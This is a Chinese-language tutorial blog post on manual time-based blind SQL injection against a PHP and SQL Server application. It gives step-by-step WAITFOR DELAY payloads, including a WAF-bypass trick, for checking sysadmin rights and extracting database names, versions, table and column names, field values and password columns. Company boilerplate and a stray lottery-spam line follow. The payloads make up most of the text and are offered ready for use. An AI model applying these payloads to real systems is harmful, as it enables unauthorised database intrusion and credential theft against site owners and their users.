1年前 (2018-09-13) 中國互聯安全響應中心  SQL Server
文章評分 3 次,平均分 4.7

假設存在一個PHP+SQL SERVER的環境,存在POST注入,只能進行延時盲注,存在防火墻,Sqlmap能夠繞過,但不能注入,手工注入語句如下:

0x1:判斷是否存在注入:

#inject為注入點,--OwlXXpFshm%0A繞過WAF,替換空格為注釋+回車
#如果存在注入,返回的數據包將延時5秒以上
inject';WAITFOR--OwlXXpFshm%0ADELAY--OwlXXpFshm%0A'0:0:5'--

0x2:判斷權限:

#如果是sysadmin權限,則延時5秒
inject';if ( select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--

0x3:查詢當前數據庫的長度和名字

#'>'二分法查詢長度
inject';if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--
#查詢數據庫名字
#substring截取字符串的位置,用ascii轉為數字進行二分法查詢
inject';if(ascii(substring(db_name(),1,1)))>40 WAITFOR DELAY '0:0:5'--

0x4:查詢數據庫的版本

inject';if(ascii(substring((select @@version),22,1))=50 WAITFOR DELAY '0:0:5'--

0x5:查詢表個數

select count(*) from SysObjects where xtype='u' #查詢表個數
inject';if((select count(*) from SysObjects where xtype='u')>15) WAITFOR DELAY '0:0:5'--

0x6查詢第一個表的長度

select top 1 name from SysObjects where xtype='u'#查詢第一個表
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')#查詢結果為1
and len(name)=9#利用and,進行判斷,9為表長度的猜測
inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--

0x7查詢第一個表的表名

inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--

0x8查詢第二個表的長度

select top 1 name from SysObjects where xtype='u' and name not in ('TB1')#查詢第一個表名,去除TB1,TB1為第一個表名
#同理,第三個表則 and name not in ('TB2','TB1')
inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('TB1')) and len(name)>1)<>0) WAITFOR DELAY '0:0:5'-

0x9查詢第二個表的名字

inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('TB1')) and ascii(substring(name,1,1))>1)=1) WAITFOR DELAY '0:0:5'--

0x10查詢TB表的字段

#and name not in ('')查詢第二個字段的時候可以直接在其中,排除第一個字段名
inject';if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('TB') and name not in ('')) and ascii(substring(name,1,1))>1)<>0) WAITFOR DELAY '0:0:1'--

0x11查詢TB表中CL字段的值

#not in 中填入查出的值
inject';if((select count(*) from TB where CL in (select top 1 CL from TB where CL not in ('')) and ascii(substring(CL,1,1))>1)=1) WAITFOR DELAY '0:0:1'--

0x12查字段類型

inject';if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='TB') and ascii(substring(data_type,1,1))>116)<>0) WAITFOR DELAY '0:0:5'--

0x13其余語句

SELECT Name FROM Master..SysDatabases ORDER BY Name#查詢所有數據庫
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'#查詢存在password字段的表名
inject';if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
SELECT top 1 name FROM SysColumns where name like '%pass%'#查詢包含pass的字段名
inject';if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

 


//下面這個css和插件后臺設置的主題有關系,如果需要換樣式,則需要修改以下CSS名稱

 

除特別注明外,本站所有文章均為鐵匠運維網原創,轉載請注明出處來自http://www.kzrhud.live/22272.html

中國互聯是江蘇邦寧科技有限公司旗下的著名IT服務供應商品牌之一,是國內IDC行業十大之一、企業互聯網服務首選品牌。江蘇邦寧科技成立于2003年,是國內互聯網名稱與數字地址服務、云數據中心機房服務的引領者,是行業云計算解決方案、網站智能建設、企業智能辦公軟件、移動互聯網開發的創新者。自成立以來,公司秉承“一切為了客戶滿意”的核心理念,堅持“國際化、專業化、高端化”的發展思路,堅持“以客戶需求為導向、以技術創新為基礎、以服務創新為支撐”,先后為國內各級政府、社會服務機構、國內外眾多500強企業及中小企業、個人客戶提供了專業、高質、優越的互聯網應用服務。

發表評論

暫無評論

切換注冊

登錄

忘記密碼 ?

您也可以使用第三方帳號快捷登錄

切換登錄

注冊

掃一掃二維碼分享
青海11选5开奖结果走势图